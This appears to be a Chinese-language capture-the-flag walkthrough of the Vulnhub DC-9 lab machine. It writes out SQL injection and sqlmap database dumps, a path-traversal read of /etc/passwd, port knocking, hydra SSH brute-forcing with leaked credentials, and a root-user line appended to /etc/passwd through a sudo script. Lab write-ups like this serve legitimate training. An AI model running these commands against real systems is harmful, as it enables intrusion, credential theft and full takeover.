Vulnhub靶场渗透测试系列DC-9(knockd敲门服务)
靶机下载地址:https://www.vulnhub.com/entry/dc-9,412/ 将下载好的靶机导入到VMware中,设置网络模式为NAT模式,开启靶机虚拟机  这次换个存活主机发现的扫描器,使用arp-scan进行主机发现,命令arp-scan -l ,其实都是一样的  获取到靶机IP之后再使用nmap进行扫描,获取操作系统,开放端口和对应服务等信息,命令nmap -T4 -A -p- 192.168.172.148  靶机操作系统是基于Debian的linux,开放22端口ssh服务,80端口http服务,其他没有太多信息,然后我们先在kali机打开浏览器输入http://192.168.172.148 访问网页,其实不加前缀http也行  点击display…之后能显示一些职员的信息  再点击search是一个搜索框,地址栏对应的文件为search.php  再点击manage,是一个登录页面,地址中的文件为manage.php,但是没有账号和密码 
然后我们先在search页面试一下SQL注入,看看是否存在注入漏洞,输入1' or 1=1 # 点击【submit】提交,发现可以爆出用户数据  我们发现存在搜索页面存在SQL注入,现在直接使用sqlmap工具来进行SQL注入攻击,先使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -dbs 跑数据库名  爆出users数据库了,然后使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -tables 将users数据库中的数据表爆出来  只有一个数据表UserDetails,然后使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -T UserDetails -dump 将UserDetails数据表中的数据爆出来  都是员工账号和密码,先放着不管了,再去把另一个数据库staff的数据表也爆一下,命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -tables  有两个数据表,一个StaffDetails一个Users,先使用命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -T StaffDetails -dump 查看StaffDetail表的数据  是员工的详细信息,再查看Users表的数据信息,命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D Staff -T Users -dump  爆出来一个admin账户和密码,但是密码是加密的,想办法解密,应该是md5加密的,试试md5解密  然后使用admin 账户和transorbital1 密码登录到后台试试看  登陆成功  可以看到多了一个【Add Record】选项,直接点击该选项,并没有什么有用的东西,看到下面有一句话File does not exist  猜测可能存在文件包含漏洞,所以在manage.php的url处,接入file参数,读取/etc/passwd文件,在url后面加入?file=../../../../etc/passwd ,顺利读取到/etc/passwd文件  但是到这里不知该怎么进行下去了,我们再从头看看,发现22端口的流量被过滤了,所以查阅了一些资料,看了看一些教程,猜测这里可能存在knockd服务 (knockd服务:即敲门端口服务,该服务通过动态的添加iptables规则来隐藏系统开启的服务,使用自定义的一系列序列号来“敲门”,,使系统开启需要访问的服务端口,才能对外访问,不使用时,再使用自定义序列号来“关门”,将端口关闭,不对外监听。进一步提升了服务和系统的安全性,它的默认配置文件是:/etc/knockd.conf)
当我们知道它的自定义端口后,依次对其进行敲门,然后就可以开启ssh服务进行连接了,所以我们可以通过文件包含来显示该配置文件的内容 根据配置文件内容,参考链接https://www.cnblogs.com/wsjhk/p/5508051.html,依次对7469,8475,9842端口进行敲门,然后就可以开门,命令
nmap -p 7469 192.168.172.148
nmap -p 8475 192.168.172.148
nmap -p 9842 192.168.172.148
 依次访问之后,重新扫描22端口,可发现ssh服务已经开启,可以访问  现在将之前通过SQL注入得到的账号和密码编写成字典,SQL注入命令sqlmap -u "http://192.168.172.148/results.php" -data "search=1" -D users -T UserDetails -dump ,将username全部写入到userx.txt文件形成user字典  userx.txt字典内容  将各个账户的密码也写进passx.txt字典中  passx.txt字典内容  然后使用两个字典进行爆破,命令hydra -L userx.txt -P passx.txt 192.168.172.148 ssh  爆破完成,得到三个用户名和密码
用户 密码
chandlerb UrAG0D!
joeyt Passw0rd
janitor Ilovepeepee
先使用chandlerb进行登录,命令ssh chandlerd@192.168.172.148 ,然后查看有些什么,发现什么都没有  再使用第二个用户和密码进行登录,命令ssh joeyt@192.168.172.148 ,查看目录内容,也是什么都没有  然后使用第三个账户和密码登录,命令ssh janitor@192.168.172.148 ,查看目录内容,发现多了一个目录  进入该目录下一探究竟,发现一个文件,打开文件查看,好像是几个账户密码  然后把这些密码加入到之前的那个密码字典里面,后面再进行爆破一次  现在再使用hydra工具进行爆破,命令hydra -L userx.txt -P passx.txt 192.168.172.148 ssh ,发现又爆破出一个用户和密码  先使用命令sudo -l 看一看有没有janitor可以执行的sudo命令,结果没有  现在我们直接用新爆破出来的这个账户和密码登录试一试  其实也是什么都没有,但是我们可以试一试sudo -l 命令,看看有么有用户可以执行的root权限的命令  发现这里有个脚本文件可以无密码以root用户权限执行,我们进入/opt/devstuff/dist/test目录下先看看有什么信息,全是文件,回到上一个目录查看,也没什么,再回到上一个目录查看,在/opt/devstuff目录下发现了一个test.py脚本文件  打开test.py文件看看内容  这是一个写入文件的脚本,生成一个密码用root权限执行脚本写入/etc/passwd文件,所以我们现在就需要构造一个拥有root权限的用户,并且在/etc/passwd文件中储存,只要使用这个用户登录后,就可以获取到root权限
现在我们回到kali,使用openssl工具创建一个本地的加密用户,命令openssl passwd -1 -salt admin admin  然后回到靶机,跳转到/opt/devstuff/dist/test目录下使用echo命令在/tmp目录下创建一个文件,文件名自定义就行,我使用test1,命令echo 'admin:$1$admin$1kgWpnZpUx.vTroWPXPIB0:0:0::/root:/bin/bash' >> /tmp/test1 然后使用命令sudo ./test /tmp/test1 /etc/passwd 使用sudo命令执行test文件将/tmp/test1的内容写入到/etc/passwd文件中  然后使用命令su admin 切换到我们添加的admin用户,输入之前设置好密码即可登录  只要这一步没问题的话就成功了,只需要跳转到/root目录下即可看到flag了 但是我这一步就出问题了,登录不了,一般正常情况应该这一步成功就可以拿到flag了,我换了一个admin1账户成功了  跳转到/root目录下,成功看到flag 
|